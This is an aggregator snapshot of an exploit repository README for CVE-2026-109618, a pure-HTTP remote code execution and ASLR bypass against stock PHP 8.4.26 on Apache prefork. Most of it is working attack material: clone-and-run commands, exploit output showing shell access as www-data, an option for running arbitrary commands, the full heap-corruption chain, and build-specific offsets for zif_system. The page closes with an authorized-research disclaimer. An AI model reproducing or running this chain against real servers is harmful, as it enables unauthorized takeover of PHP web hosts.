Curated security research, vulnerabilities, advisories and tools for practitioners.

[CVE-2026-109618] php2shell: Pure HTTP Full-Chain RCE and ASLR Bypass on Stock PHP 8.4 Configurations

Summary

# php2shell - 官方环境 无需display_errors,不修改memory_limit 中文 | English **官方 prefork 配置(MaxRequestWorkers=150)下** ,在完全远程、只用 HTTP、目标页面只有 ` `、不写目标侧 PHP 的约束下,一条命令拿到 RCE: * stock 官方镜像 + 官方 ini + 官方...

Why it matters

Overcomes historical constraints where PHP heap exploitation required display_errors=On, restricted memory limits, or target application vulnerabilities, demonstrating reliable pure-HTTP RCE and ASLR defeat against standard production ini configurations.
CVE
CVE-2026-109618
Vendor
PHP
Product
PHP
Affected versions
8.4.26
CVSS
9.8
Published
Collected

📦 Full-Text Content Snapshot

R2 Archive · Full Article Preserved136 lines · 10.5 KB
📄 Raw .md⬇️ Download .md

Author: 9bie · October 22, 2026 · Source: github.com/9bie/php2shell-bypass-aslr-exp

中文 | English | 日本語

Under the official prefork configuration (MaxRequestWorkers=150), fully remote, using pure HTTP only, where the target page contains only <?php echo "OK\n"; ?> and without writing any target-side PHP code, achieve full-chain RCE in a single command:

  • Stock official Docker image + official php.ini + official workers: 10/10
  • Single-worker baseline (early calibration / debugging): 20/20
  • ~3–4 seconds per run (including 149 placeholder connections); the pinned worker does not restart, and the target php.ini is unmodified.

Universal Exploitation

In theory, as long as you pre-calculate the offsets across all PHP versions and batch-fuzz using those offsets, one of the fuzzing attempts will land RCE. Even if a worker crashes, Apache will automatically respawn it, so there is no risk of taking down the target service.

Regarding workers: the official prefork MaxRequestWorkers=150 is fully supported. The exploit script first occupies 149 workers with incomplete requests, pinning steps A1/B1/A2/B2 onto the single remaining child worker; single-worker mode was only an early debugging setup (--workers 1 is still supported for reproduction).

Quick Start (Official php.ini-production / display_errors=Off / 128M)

bash
git clone https://github.com/9bie/php2shell-bypass-aslr-exp.git
cd php2shell-bypass-aslr-exp

# 1) Start target: stock official image; container only copies official php.ini-production to php.ini
./pure/run_pure.sh
# target: OK
# architecture: x86_64 (run exploit with --arch x86_64)
# PHP 8.4.26 ...
# display_errors => Off => Off
# memory_limit => 128M => 128M
# workers: official (run exploit with --workers 150)

# 2) Single command: A1 -> B1 leak -> A2 -> B2 -> id
python3 exploit.py --port 18110
#       --arch auto (default): auto-detects x86_64 / aarch64
#       pinned 150/150 workers (149 holders)
# [try 1] A1: END-cleanup send_cookie OOM
# [try 1] B1: stale-id OOB read (chunk base + libphp)
#       arch=x86_64 decoded=819208 zval_ptr_dtor=0x7fe00ef5db60 -> libphp=0x7fe00e8ff000
#       chunk buckets: [('0x7fe00c600000', 7495), ('0x7fe00ee00000', 1095),
#                       ('0x7fe00cc00000', 87), ('0x7fe00c400000', 79)]
# [try 1] A2 + B2: main=0x7fe00cc00000 S=0x7fe00ccf8398 zif_system=0x7fe00ed64370
# [4/4] RCE OK; proof .../out/p1:
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

No compiling PHP/Apache, no building custom Docker images, no attaching gdb, and no modifying the target php.ini. pure/run_pure.sh defaults to container p2s-pure-18110 on port 18110, using the official prefork configuration (MaxRequestWorkers=150), and prints the actual architecture, ini settings, and MPM values upon startup. Only --single mounts the non-official single-worker override pure/docker/apache-single-worker.conf (used with --workers 1). docker/apache.conf is kept only as a compatibility symlink for the legacy harness pointing to the same file. On Linux without docker group permissions, the script automatically falls back to sudo docker, or you can explicitly run DOCKER="sudo docker" ./pure/run_pure.sh; --dbg is only used to swap in the symbol-enabled build for offline offset calibration.

Common options:

bash
# Re-test with fresh ASLR (restart container)
python3 exploit.py --port 18110 --restart p2s-pure-18110

# Official worker count is default; use --workers 1 for single-worker target started with --single
python3 exploit.py --port 18110 --workers 1

# ARM64 can also be specified explicitly (default --arch auto detects automatically)
python3 exploit.py --arch aarch64 --port 18110 --workers 1

# Custom command: write script into mounted directory and execute with sh
printf 'id; uname -a > /out/p1\n' > out/c
python3 exploit.py --port 18110 --cmd 'sh</out/c'

--retries defaults to 3; if the most frequent pointer in the out-of-bounds leak window on a given attempt is not zval_ptr_dtor, the script discards the leak using a sanity range check on libphp-main and retries the entire chain.

How the Pure HTTP Chain Works

The target page only has <?php echo "OK\n"; ?>, and the attack traffic consists solely of chunked multipart/form-data and standard GET/POST requests:

  1. Worker pinning: Official MaxRequestWorkers=150; the script first opens 149 POST connections that send only half of their body to occupy the other children, forcing A1/B1/A2/B2 onto the single remaining child worker so cross-request dangling pointers stay valid.
  2. Chunked bypass of post_max_size: Without a Content-Length header, content_length=0, skipping the check at the beginning of rfc1867_post_handler and allowing a request body far larger than 8M for heap feng shui.
  3. A1: 860 depth-64 nested file fields + filler + large values + a 4000B PHP_SESSION_UPLOAD_PROGRESS trigger OOM inside php_url_encode during END cleanup; the bailout leaves dangling PS(id) / PS(mod_data) pointers with send_cookie=1.
  4. B1 (Out-of-Bounds Read): After a safe close, PS(id) points to a forged zend_string header (len=0xC8000, data containing /), causing Set-Cookie to URL-encode and leak 800KB of memory following the id chunk. The leak window simultaneously contains:
  • 2MiB-aligned chunk pointer clusters → id chunk / main chunk base;
  • The hole left at the tail of the id chunk by G:400 is filled with 900 nested array fields, where real HashTable instances have pDestructor = zval_ptr_dtor appearing 1095 times → libphp = value - 0x65EB60.
  1. A2 + B2: A cheap-OOM points PS(hash_serialize_verifier) onto the heap (main+0x7D720); B2 overwrites it using a 384B reference value with a zval pointing to S=main+0xF8398, where S holds a forged zend_array with pDestructor = zif_system (libphp+0x465370). During request shutdown, zend_hash_destroy invokes system("id>/out/p1").

Offsets (for this build, independent of ASLR):

Symbol / Locationx86_64aarch64
Leaked zval_ptr_dtor pointerlibphp+0x65EB60libphp+0x63812B
zif_systemlibphp+0x465370libphp+0x42CD70
Fake array Smain+0xF8398main+0xF8398
A2 hsvmain+0x7D720main+0x7D720

On aarch64, the zval_ptr_dtor ELF symbol is at 0x638120, but the pointer repeatedly appearing in this leak points 11 bytes past it, so the profile subtracts 0x63812B. Target environment: Debian 13 (trixie), Apache 2.4.69 prefork, PHP 8.4.26 NTS mod_php, files session handler. Changing the PHP build or version requires re-calibrating offsets; ASLR changes on every container startup and is resolved dynamically by the two leaks in the chain.

Evidence

Legacy Track (Non-Default Configuration)

The exploit.py in earlier commits targeted a custom docker/php.ini (display_errors=On, memory_limit=8M, max_input_vars=1000), which is unrelated to the stock production target in this README and has been archived to archive/legacy-8m/exploit.py. HTTP_HEAP_LEAK.md and ASLR_PURE_HTTP.md in the same directory document that legacy track; the old docker/php.ini, docker/docker-compose.yml, docker/offsets.py, and lab/apache2_aslr.conf have also been archived under archive/legacy-8m/docker|lab/. The actual single-worker config and target page live in pure/docker/ (apache-single-worker.conf, www/index.php); docker/ only retains the apache.conf and www compatibility symlinks pointing there.

Reproduction Disclaimer

  • The target configuration is the stock official php.ini-production (display_errors=Off, memory_limit=128M) and official prefork worker settings (MaxRequestWorkers=150): no custom ini, no display_errors=On requirement, no target-side files, no session_start() in application code, and no gdb in the delivery path.
  • For authorized vulnerability research and reproduction only.

📦 Full-Text Markdown Snapshot archived by Phying News · Original source: github.com